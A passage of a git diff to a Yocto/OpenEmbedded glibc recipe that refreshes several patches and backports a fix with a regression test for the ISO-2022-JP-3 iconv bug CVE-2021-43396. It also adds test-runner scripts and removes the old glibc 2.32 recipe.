+was incorrect. This caused problems when their were various circular
+dependencies between libraries. The problem usually manifested itself by
+the wrong IFUNC being executed.
+
+[BZ# 20488]
+
+Upstream-Status: Submitted [libc-alpha]
+
+Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
+---
+ elf/dl-deps.c | 14 ++++++++++----
+ 1 file changed, 10 insertions(+), 4 deletions(-)
+
+diff --git a/elf/dl-deps.c b/elf/dl-deps.c
+index 087a49b212..c09f9334f2 100644
+--- a/elf/dl-deps.c
++++ b/elf/dl-deps.c
+@@ -73,13 +73,19 @@ _dl_build_local_scope (struct link_map **list, struct link_map *map)
+ {
+ struct link_map **p = list;
+ struct link_map **q;
++ struct link_map **r;
+
+ *p++ = map;
+ map->l_reserved = 1;
+- if (map->l_initfini)
+- for (q = map->l_initfini + 1; *q; ++q)
+- if (! (*q)->l_reserved)
+- p += _dl_build_local_scope (p, *q);
++
++ for (r = list; r < p; ++r)
++ if ((*r)->l_initfini)
++ for (q = (*r)->l_initfini + 1; *q; ++q)
++ if (! (*q)->l_reserved)
++ {
++ *p++ = *q;
++ (*q)->l_reserved = 1;
++ }
+ return p - list;
+ }
+
diff --git a/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch b/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch
deleted file mode 100644
index 700fb28874..0000000000
--- a/meta/recipes-core/glibc/glibc/0025-intl-Emit-no-lines-in-bison-generated-files.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From bc3380877bd2a1f9368a913fa6a2ca1ee88fd95f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 3 Aug 2018 09:44:00 -0700
-Subject: [PATCH 25/29] intl: Emit no lines in bison generated files
-
-Improve reproducibility:
-Do not put any #line preprocessor commands in bison generated files.
-These lines contain absolute paths containing file locations on
-the host build machine.
-
-Upstream-Status: Pending
-
-Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- intl/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/intl/Makefile b/intl/Makefile
-index ce3072420f..58457840d9 100644
---- a/intl/Makefile
-+++ b/intl/Makefile
-@@ -155,7 +155,7 @@ $(objpfx)tst-gettext6.out: $(objpfx)tst-gettext.out
-
- CPPFLAGS += -D'LOCALEDIR="$(localedir)"' \
- -D'LOCALE_ALIAS_PATH="$(localedir)"'
--BISONFLAGS = --yacc --name-prefix=__gettext --output
-+BISONFLAGS = --yacc --no-lines --name-prefix=__gettext --output
-
- $(inst_localedir)/locale.alias: locale.alias $(+force)
- $(do-install)
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch b/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch
deleted file mode 100644
index 89eef82e1b..0000000000
--- a/meta/recipes-core/glibc/glibc/0026-inject-file-assembly-directives.patch
+++ /dev/null
@@ -1,240 +0,0 @@
-From cf043d56638883157dbfaa8c6a8e2f63a6f66280 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 17:29:35 -0800
-Subject: [PATCH 26/29] inject file assembly directives
-
-Currently, non-IA builds are not reproducibile since build paths are
-being injected into the debug symbols. These are coming from the use of
-.S assembler files during the glibc build. No STT_FILE section is added
-during the assembly but when linking, ld decides to add one to aid
-debugging and ensure references between the different object files its
-linking remain clear.
-
-We can avoid this by injecting a file header into the assembler files
-ahead of time, choosing a filename which does not contain build system
-paths.
-
-This is a bit of a workaround/hack but does significantly reduce the
-build system references in target binaries for the non-IA architectures
-which use .S files.
-
-RP
-2018/10/3
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- csu/abi-note.c | 2 ++
- sysdeps/aarch64/crti.S | 2 ++
- sysdeps/aarch64/crtn.S | 1 +
- sysdeps/aarch64/dl-tlsdesc.S | 2 ++
- sysdeps/aarch64/dl-trampoline.S | 2 ++
- sysdeps/aarch64/start.S | 2 ++
- sysdeps/arm/crti.S | 2 ++
- sysdeps/arm/crtn.S | 2 ++
- sysdeps/arm/dl-tlsdesc.S | 2 ++
- sysdeps/arm/dl-trampoline.S | 2 ++
- sysdeps/arm/start.S | 2 ++
- sysdeps/mips/start.S | 2 ++
- sysdeps/powerpc/powerpc32/dl-start.S | 2 ++
- sysdeps/powerpc/powerpc32/start.S | 2 ++
- sysdeps/powerpc/powerpc64/start.S | 2 ++
- sysdeps/unix/sysv/linux/aarch64/__read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S | 2 ++
- sysdeps/unix/sysv/linux/arm/libc-do-syscall.S | 2 ++
- sysdeps/unix/sysv/linux/powerpc/dl-brk.S | 2 ++
- 19 files changed, 37 insertions(+)
-
---- a/sysdeps/aarch64/crti.S
-+++ b/sysdeps/aarch64/crti.S
-@@ -50,6 +50,8 @@
- # define PREINIT_FUNCTION_WEAK 1
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- weak_extern (PREINIT_FUNCTION)
- #else
---- a/sysdeps/aarch64/crtn.S
-+++ b/sysdeps/aarch64/crtn.S
-@@ -38,6 +38,7 @@
- corresponding to the prologues in crti.S. */
-
- #include <sysdep.h>
-+ .file "crtn.S"
-
- .section .init,"ax",%progbits
- ldp x29, x30, [sp], 16
---- a/sysdeps/aarch64/dl-tlsdesc.S
-+++ b/sysdeps/aarch64/dl-tlsdesc.S
-@@ -22,6 +22,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- #define NSAVEDQREGPAIRS 16
- #define SAVE_Q_REGISTERS \
- stp q0, q1, [sp, #-32*NSAVEDQREGPAIRS]!; \
---- a/sysdeps/aarch64/dl-trampoline.S
-+++ b/sysdeps/aarch64/dl-trampoline.S
-@@ -21,6 +21,8 @@
-
- #include "dl-link.h"
-
-+ .file "dl-trampoline.S"
-+
- #define ip0 x16
- #define ip0l PTR_REG (16)
- #define ip1 x17
---- a/sysdeps/aarch64/start.S
-+++ b/sysdeps/aarch64/start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* This is the canonical entry point, usually the first thing in the text
- segment.
-
---- a/sysdeps/arm/crti.S
-+++ b/sysdeps/arm/crti.S
-@@ -57,6 +57,8 @@
- .hidden PREINIT_FUNCTION
- #endif
-
-+ .file "crti.S"
-+
- #if PREINIT_FUNCTION_WEAK
- .p2align 2
- .type call_weak_fn, %function
---- a/sysdeps/arm/crtn.S
-+++ b/sysdeps/arm/crtn.S
-@@ -37,6 +37,8 @@
- #define NO_THUMB
- #include <sysdep.h>
-
-+ .file "crtn.S"
-+
- /* crtn.S puts function epilogues in the .init and .fini sections
- corresponding to the prologues in crti.S. */
-
---- a/sysdeps/arm/dl-tlsdesc.S
-+++ b/sysdeps/arm/dl-tlsdesc.S
-@@ -21,6 +21,8 @@
- #include <tls.h>
- #include "tlsdesc.h"
-
-+ .file "dl-tlsdesc.S"
-+
- .text
- @ emit debug information with cfi
- @ use arm-specific pseudos for unwinding itself
---- a/sysdeps/arm/dl-trampoline.S
-+++ b/sysdeps/arm/dl-trampoline.S
-@@ -21,6 +21,8 @@
- #include <sysdep.h>
- #include <libc-symbols.h>
-
-+ .file "dl-trampoline.S"
-+
- .text
- .globl _dl_runtime_resolve
- .type _dl_runtime_resolve, #function
---- a/sysdeps/arm/start.S
-+++ b/sysdeps/arm/start.S
-@@ -57,6 +57,8 @@
- NULL
- */
-
-+ .file "start.S"
-+
- /* Tag_ABI_align8_preserved: This code preserves 8-byte
- alignment in any callee. */
- .eabi_attribute 25, 1
---- a/sysdeps/mips/start.S
-+++ b/sysdeps/mips/start.S
-@@ -38,6 +38,8 @@
- #include <sgidefs.h>
- #include <sys/asm.h>
-
-+ .file "start.S"
-+
- #ifndef ENTRY_POINT
- #error ENTRY_POINT needs to be defined for start.S on MIPS/ELF.
- #endif
---- a/sysdeps/powerpc/powerpc32/dl-start.S
-+++ b/sysdeps/powerpc/powerpc32/dl-start.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "dl-start.S"
-+
- /* Initial entry point code for the dynamic linker.
- The C function `_dl_start' is the real entry point;
- its return value is the user program's entry point. */
---- a/sysdeps/powerpc/powerpc32/start.S
-+++ b/sysdeps/powerpc/powerpc32/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
---- a/sysdeps/powerpc/powerpc64/start.S
-+++ b/sysdeps/powerpc/powerpc64/start.S
-@@ -35,6 +35,8 @@
-
- #include <sysdep.h>
-
-+ .file "start.S"
-+
- /* We do not want .eh_frame info for crt1.o since crt1.o is linked
- before crtbegin.o, the file defining __EH_FRAME_BEGIN__. */
- #undef cfi_startproc
---- a/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-+++ b/sysdeps/unix/sysv/linux/aarch64/__read_tp.S
-@@ -18,6 +18,8 @@
-
- #include <sysdep.h>
-
-+ .file "__read_tp.S"
-+
- .hidden __read_tp
- ENTRY (__read_tp)
- mrs x0, tpidr_el0
---- a/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-+++ b/sysdeps/unix/sysv/linux/arm/aeabi_read_tp.S
-@@ -39,6 +39,8 @@
- a normal function call) in a high page of memory; tail call to the
- helper. */
-
-+ .file "aeabi_read_tp.S"
-+
- .hidden __aeabi_read_tp
- ENTRY (__aeabi_read_tp)
- #ifdef ARCH_HAS_HARD_TP
---- a/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-+++ b/sysdeps/unix/sysv/linux/arm/libc-do-syscall.S
-@@ -27,6 +27,8 @@
- ARM unwind tables for register to register moves, the actual opcodes
- are not defined. */
-
-+ .file "libc-do-syscall.S"
-+
- #if defined(__thumb__)
- .thumb
- .syntax unified
---- a/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-+++ b/sysdeps/unix/sysv/linux/powerpc/dl-brk.S
-@@ -1 +1,3 @@
-+ .file "dl-brk.S"
-+
- #include <brk.S>
diff --git a/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch b/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch
new file mode 100644
index 0000000000..998db39b47
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0026-intl-Emit-no-lines-in-bison-generated-files.patch
@@ -0,0 +1,31 @@
+From 99ab34278a6ebec134267412b4f619f43e278dea Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 3 Aug 2018 09:44:00 -0700
+Subject: [PATCH] intl: Emit no lines in bison generated files
+
+Improve reproducibility:
+Do not put any #line preprocessor commands in bison generated files.
+These lines contain absolute paths containing file locations on
+the host build machine.
+
+Upstream-Status: Pending
+
+Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ intl/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/intl/Makefile b/intl/Makefile
+index 93478d87e8..b27a7935eb 100644
+--- a/intl/Makefile
++++ b/intl/Makefile
+@@ -155,7 +155,7 @@ $(objpfx)tst-gettext6.out: $(objpfx)tst-gettext.out
+
+ CPPFLAGS += -D'LOCALEDIR="$(localedir)"' \
+ -D'LOCALE_ALIAS_PATH="$(localedir)"'
+-BISONFLAGS = --yacc --name-prefix=__gettext --output
++BISONFLAGS = --yacc --no-lines --name-prefix=__gettext --output
+
+ $(inst_localedir)/locale.alias: locale.alias $(+force)
+ $(do-install)
diff --git a/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch b/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
index d2c88d2354..2bfa2aaa06 100644
--- a/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
+++ b/meta/recipes-core/glibc/glibc/0027-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
@@ -1,7 +1,7 @@
-From 10aef8f0671d814aaf910ababc0225cf6f0a46e8 Mon Sep 17 00:00:00 2001
+From 3190ada9ecaec915794886a608221655c120f90c Mon Sep 17 00:00:00 2001
From: Martin Jansa <martin.jansa@gmail.com>
Date: Mon, 17 Dec 2018 21:36:18 +0000
-Subject: [PATCH 27/29] locale: prevent maybe-uninitialized errors with -Os [BZ
+Subject: [PATCH] locale: prevent maybe-uninitialized errors with -Os [BZ
#19444]
Fixes following error when building for aarch64 with -Os:
@@ -33,7 +33,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 7 insertions(+)
diff --git a/locale/weight.h b/locale/weight.h
-index e071253f85..2889c395f1 100644
+index 723e1fefda..f5798d379a 100644
--- a/locale/weight.h
+++ b/locale/weight.h
@@ -28,7 +28,14 @@ findidx (const int32_t *table,
@@ -51,6 +51,3 @@ index e071253f85..2889c395f1 100644
const unsigned char *cp;
const unsigned char *usrc;
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch b/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
index 25c046f5cd..8042caaeae 100644
--- a/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
+++ b/meta/recipes-core/glibc/glibc/0028-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
@@ -1,8 +1,7 @@
-From 70731329feb7ba20364aa37aed83d920de97f028 Mon Sep 17 00:00:00 2001
+From 5d201a75918a0e181ee6206f701901fdb91baf81 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Wed, 18 Mar 2015 00:11:22 +0000
-Subject: [PATCH 28/29] readlib: Add OECORE_KNOWN_INTERPRETER_NAMES to known
- names
+Subject: [PATCH] readlib: Add OECORE_KNOWN_INTERPRETER_NAMES to known names
This bolts in a hook for OE to pass its own version of interpreter
names into glibc especially for multilib case, where it differs from any
@@ -17,7 +16,7 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 1 insertion(+)
diff --git a/elf/readlib.c b/elf/readlib.c
-index 994a4426a1..baabf099b1 100644
+index 7383c23249..e97ea9449d 100644
--- a/elf/readlib.c
+++ b/elf/readlib.c
@@ -51,6 +51,7 @@ static struct known_names interpreters[] =
@@ -28,6 +27,3 @@ index 994a4426a1..baabf099b1 100644
};
static struct known_names known_libs[] =
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch b/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
index 0ebf8a6183..ece792509e 100644
--- a/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
+++ b/meta/recipes-core/glibc/glibc/0029-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
@@ -1,7 +1,7 @@
-From bf1c4b2f01c5f86bb770fd1711a69ea727e0f56e Mon Sep 17 00:00:00 2001
+From baba3c6021340a9070b734f931a15cea4cfe6c31 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 15 May 2020 17:05:45 -0700
-Subject: [PATCH 29/29] wordsize.h: Unify the header between arm and aarch64
+Subject: [PATCH] wordsize.h: Unify the header between arm and aarch64
This helps OE multilibs to not sythesize this header which causes all
kind of recursions and other issues since wordsize is fundamental header
@@ -11,13 +11,13 @@ Upstream-Status: Inappropriate [ OE-Specific ]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- sysdeps/aarch64/bits/wordsize.h | 8 ++++++--
- sysdeps/{aarch64 => arm}/bits/wordsize.h | 8 ++++++--
- 2 files changed, 12 insertions(+), 4 deletions(-)
- copy sysdeps/{aarch64 => arm}/bits/wordsize.h (85%)
+ sysdeps/aarch64/bits/wordsize.h | 8 ++++++--
+ sysdeps/{aarch64 => arm}/bits/wordsize.h | 10 +++++++---
+ 2 files changed, 13 insertions(+), 5 deletions(-)
+ copy sysdeps/{aarch64 => arm}/bits/wordsize.h (80%)
diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/aarch64/bits/wordsize.h
-index ee01841773..34fcdef1f1 100644
+index 91da566b74..9a754514b3 100644
--- a/sysdeps/aarch64/bits/wordsize.h
+++ b/sysdeps/aarch64/bits/wordsize.h
@@ -17,12 +17,16 @@
@@ -40,10 +40,10 @@ index ee01841773..34fcdef1f1 100644
#define __WORDSIZE_TIME64_COMPAT32 0
diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/arm/bits/wordsize.h
-similarity index 85%
+similarity index 80%
copy from sysdeps/aarch64/bits/wordsize.h
copy to sysdeps/arm/bits/wordsize.h
-index ee01841773..34fcdef1f1 100644
+index 91da566b74..34fcdef1f1 100644
--- a/sysdeps/aarch64/bits/wordsize.h
+++ b/sysdeps/arm/bits/wordsize.h
@@ -17,12 +17,16 @@
@@ -65,6 +65,3 @@ index ee01841773..34fcdef1f1 100644
#endif
#define __WORDSIZE_TIME64_COMPAT32 0
---
-2.27.0
-
diff --git a/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch b/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch
index a764552361..22df820aed 100644
--- a/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch
+++ b/meta/recipes-core/glibc/glibc/0030-powerpc-Do-not-ask-compiler-for-finding-arch.patch
@@ -1,7 +1,7 @@
-From 8b1d521290218df8ceeaf2e6ee44a54b19d8d328 Mon Sep 17 00:00:00 2001
+From 60aa53f547911163b42a1c436d695a15c87f34ee Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 7 Aug 2020 14:31:16 -0700
-Subject: [PATCH 30/30] powerpc: Do not ask compiler for finding arch
+Subject: [PATCH] powerpc: Do not ask compiler for finding arch
This does not work well in cross compiling environments like OE
and moreover it uses its own -mcpu/-march options via cflags
@@ -46,6 +46,3 @@ index 6c63bd8257..3e925f1d48 100644
# Note if you add patterns here you must ensure that an appropriate
# directory exists in sysdeps/powerpc. Likewise, if we find a
# cpu, don't let the generic configure append extra compiler options.
---
-2.28.0
-
diff --git a/meta/recipes-core/glibc/glibc/CVE-2021-43396.patch b/meta/recipes-core/glibc/glibc/CVE-2021-43396.patch
new file mode 100644
index 0000000000..ebea5efd34
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/CVE-2021-43396.patch
@@ -0,0 +1,184 @@
+From ff012870b2c02a62598c04daa1e54632e020fd7d Mon Sep 17 00:00:00 2001
+From: Nikita Popov <npv1310@gmail.com>
+Date: Tue, 2 Nov 2021 13:21:42 +0500
+Subject: [PATCH] gconv: Do not emit spurious NUL character in ISO-2022-JP-3
+ (bug 28524)
+
+Bugfix 27256 has introduced another issue:
+In conversion from ISO-2022-JP-3 encoding, it is possible
+to force iconv to emit extra NUL character on internal state reset.
+To do this, it is sufficient to feed iconv with escape sequence
+which switches active character set.
+The simplified check 'data->__statep->__count != ASCII_set'
+introduced by the aforementioned bugfix picks that case and
+behaves as if '\0' character has been queued thus emitting it.
+
+To eliminate this issue, these steps are taken:
+* Restore original condition
+'(data->__statep->__count & ~7) != ASCII_set'.
+It is necessary since bits 0-2 may contain
+number of buffered input characters.
+* Check that queued character is not NUL.
+Similar step is taken for main conversion loop.
+
+Bundled test case follows following logic:
+* Try to convert ISO-2022-JP-3 escape sequence
+switching active character set
+* Reset internal state by providing NULL as input buffer
+* Ensure that nothing has been converted.
+
+Signed-off-by: Nikita Popov <npv1310@gmail.com>
+
+CVE: CVE-2021-43396
+Upstream-Status: Backport [ff012870b2c02a62598c04daa1e54632e020fd7d]
+---
+ iconvdata/Makefile | 5 +++-
+ iconvdata/bug-iconv15.c | 60 +++++++++++++++++++++++++++++++++++++++
+ iconvdata/iso-2022-jp-3.c | 28 ++++++++++++------
+ 3 files changed, 84 insertions(+), 9 deletions(-)
+ create mode 100644 iconvdata/bug-iconv15.c
+
+Index: git/iconvdata/Makefile
+===================================================================
+--- git.orig/iconvdata/Makefile
++++ git/iconvdata/Makefile
+@@ -1,4 +1,5 @@
+ # Copyright (C) 1997-2021 Free Software Foundation, Inc.
++# Copyright (C) The GNU Toolchain Authors.
+ # This file is part of the GNU C Library.
+
+ # The GNU C Library is free software; you can redistribute it and/or
+@@ -74,7 +75,7 @@ ifeq (yes,$(build-shared))
+ tests = bug-iconv1 bug-iconv2 tst-loading tst-e2big tst-iconv4 bug-iconv4 \
+ tst-iconv6 bug-iconv5 bug-iconv6 tst-iconv7 bug-iconv8 bug-iconv9 \
+ bug-iconv10 bug-iconv11 bug-iconv12 tst-iconv-big5-hkscs-to-2ucs4 \
+- bug-iconv13 bug-iconv14
++ bug-iconv13 bug-iconv14 bug-iconv15
+ ifeq ($(have-thread-library),yes)
+ tests += bug-iconv3
+ endif
+@@ -327,6 +328,8 @@ $(objpfx)bug-iconv12.out: $(addprefix $(
+ $(addprefix $(objpfx),$(modules.so))
+ $(objpfx)bug-iconv14.out: $(addprefix $(objpfx), $(gconv-modules)) \
+ $(addprefix $(objpfx),$(modules.so))
++$(objpfx)bug-iconv15.out: $(addprefix $(objpfx), $(gconv-modules)) \
++ $(addprefix $(objpfx),$(modules.so))
+
+ $(objpfx)iconv-test.out: run-iconv-test.sh \
+ $(addprefix $(objpfx), $(gconv-modules)) \
+Index: git/iconvdata/bug-iconv15.c
+===================================================================
+--- /dev/null
++++ git/iconvdata/bug-iconv15.c
+@@ -0,0 +1,60 @@
++/* Bug 28524: Conversion from ISO-2022-JP-3 with iconv
++ may emit spurious NUL character on state reset.
++ Copyright (C) The GNU Toolchain Authors.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++#include <stddef.h>
++#include <iconv.h>
++#include <support/check.h>
++
++static int
++do_test (void)
++{
++ char in[] = "\x1b(I";
++ char *inbuf = in;
++ size_t inleft = sizeof (in) - 1;
++ char out[1];
++ char *outbuf = out;
++ size_t outleft = sizeof (out);
++ iconv_t cd;
++
++ cd = iconv_open ("UTF8", "ISO-2022-JP-3");
++ TEST_VERIFY_EXIT (cd != (iconv_t) -1);
++
++ /* First call to iconv should alter internal state.
++ Now, JISX0201_Kana_set is selected and
++ state value != ASCII_set. */
++ TEST_VERIFY (iconv (cd, &inbuf, &inleft, &outbuf, &outleft) != (size_t) -1);
++
++ /* No bytes should have been added to
++ the output buffer at this point. */
++ TEST_VERIFY (outbuf == out);
++ TEST_VERIFY (outleft == sizeof (out));
++
++ /* Second call shall emit spurious NUL character in unpatched glibc. */
++ TEST_VERIFY (iconv (cd, NULL, NULL, &outbuf, &outleft) != (size_t) -1);
++
++ /* No characters are expected to be produced. */
++ TEST_VERIFY (outbuf == out);
++ TEST_VERIFY (outleft == sizeof (out));
++
++ TEST_VERIFY_EXIT (iconv_close (cd) != -1);
++
++ return 0;
++}
++
++#include <support/test-driver.c>
+Index: git/iconvdata/iso-2022-jp-3.c
+===================================================================
+--- git.orig/iconvdata/iso-2022-jp-3.c
++++ git/iconvdata/iso-2022-jp-3.c
+@@ -1,5 +1,6 @@
+ /* Conversion module for ISO-2022-JP-3.
+ Copyright (C) 1998-2021 Free Software Foundation, Inc.
++ Copyright (C) The GNU Toolchain Authors.
+ This file is part of the GNU C Library.
+ Contributed by Ulrich Drepper <drepper@cygnus.com>, 1998,
+ and Bruno Haible <bruno@clisp.org>, 2002.
+@@ -81,20 +82,31 @@ enum
+ the output state to the initial state. This has to be done during the
+ flushing. */
+ #define EMIT_SHIFT_TO_INIT \
+- if (data->__statep->__count != ASCII_set) \
++ if ((data->__statep->__count & ~7) != ASCII_set) \
+ { \
+ if (FROM_DIRECTION) \
+ { \
+- if (__glibc_likely (outbuf + 4 <= outend)) \
++ uint32_t ch = data->__statep->__count >> 6; \
++ \
++ if (__glibc_unlikely (ch != 0)) \
+ { \
+- /* Write out the last character. */ \
+- *((uint32_t *) outbuf) = data->__statep->__count >> 6; \
+- outbuf += sizeof (uint32_t); \
+- data->__statep->__count = ASCII_set; \
++ if (__glibc_likely (outbuf + 4 <= outend)) \
++ { \
++ /* Write out the last character. */ \
++ put32u (outbuf, ch); \
++ outbuf += 4; \
++ data->__statep->__count &= 7; \
++ data->__statep->__count |= ASCII_set; \
++ } \
++ else \
++ /* We don't have enough room in the output buffer. */ \
++ status = __GCONV_FULL_OUTPUT; \
+ } \
+ else \
+- /* We don't have enough room in the output buffer. */ \
+- status = __GCONV_FULL_OUTPUT; \
++ { \
++ data->__statep->__count &= 7; \
++ data->__statep->__count |= ASCII_set; \
++ } \
+ } \
+ else \
+ { \
diff --git a/meta/recipes-core/glibc/glibc/check-test-wrapper b/meta/recipes-core/glibc/glibc/check-test-wrapper
index f8e04e02d2..6ec9b9b29e 100644
--- a/meta/recipes-core/glibc/glibc/check-test-wrapper
+++ b/meta/recipes-core/glibc/glibc/check-test-wrapper
@@ -2,6 +2,7 @@
import sys
import os
import subprocess
+import resource
env = os.environ.copy()
args = sys.argv[1:]
@@ -44,6 +45,14 @@ if targettype == "user":
qemuargs += ["-L", sysroot]
qemuargs += ["-E", "LD_LIBRARY_PATH={}".format(":".join(libpaths))]
command = qemuargs + args
+
+ # We've seen qemu-arm using up all system memory for some glibc
+ # tests e.g. nptl/tst-pthread-timedlock-lockloop
+ # Cap at 8GB since no test should need more than that
+ # (5GB adds 7 failures for qemuarm glibc test run)
+ limit = 8*1024*1024*1024
+ resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
+
elif targettype == "ssh":
host = os.environ.get("SSH_HOST", None)
user = os.environ.get("SSH_HOST_USER", None)
diff --git a/meta/recipes-core/glibc/glibc/run-ptest b/meta/recipes-core/glibc/glibc/run-ptest
new file mode 100755
index 0000000000..f637986105
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/run-ptest
@@ -0,0 +1,37 @@
+#!/bin/sh
+# ptest script for glibc - to run time related tests to
+# facilitate Y2038 validation
+# Run with 'ptest-runner glibc-tests'
+
+output() {
+ retcode=$?
+ if [ $retcode -eq 0 ]
+ then echo "PASS: $i"
+ elif [ $retcode -eq 77 ]
+ then echo "SKIP: $i"
+ else echo "FAIL: $i"
+ fi
+}
+
+# Allow altering time on the target
+export GLIBC_TEST_ALLOW_TIME_SETTING="1"
+
+tst_time64=$(ls -r ${PWD}/tests/glibc-ptest/*-time64)
+
+# Remove '-time64' suffix - those tests are also time
+# related
+tst_time_tmp=$(sed -e "s/-time64$//" <<< ${tst_time64})
+
+# Run tests supporting only 32 bit time
+for i in ${tst_time_tmp}
+do
+ $i >/dev/null 2>&1
+ output
+done
+
+# Run tests supporting only 64 bit time
+for i in ${tst_time64}
+do
+ $i >/dev/null 2>&1
+ output
+done
diff --git a/meta/recipes-core/glibc/glibc_2.32.bb b/meta/recipes-core/glibc/glibc_2.32.bb
deleted file mode 100644
index 2a0e464385..0000000000
--- a/meta/recipes-core/glibc/glibc_2.32.bb
+++ /dev/null
@@ -1,115 +0,0 @@
-require glibc.inc
-require glibc-version.inc
-
-CVE_CHECK_WHITELIST += "CVE-2020-10029"
-
-DEPENDS += "gperf-native bison-native make-native"
-
-NATIVESDKFIXES ?= ""
-NATIVESDKFIXES_class-nativesdk = "\
- file://0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
- file://0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
- file://0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
- file://0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
- file://0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
-"
-
-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- file://etc/ld.so.conf \
- file://generate-supported.mk \
- file://makedbs.sh \
- \
- ${NATIVESDKFIXES} \
- file://0008-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch \
- file://0009-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch \
- file://0010-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0011-Quote-from-bug-1443-which-explains-what-the-patch-do.patch \
- file://0012-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch \
- file://0013-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0014-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch \
- file://0015-yes-within-the-path-sets-wrong-config-variables.patch \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
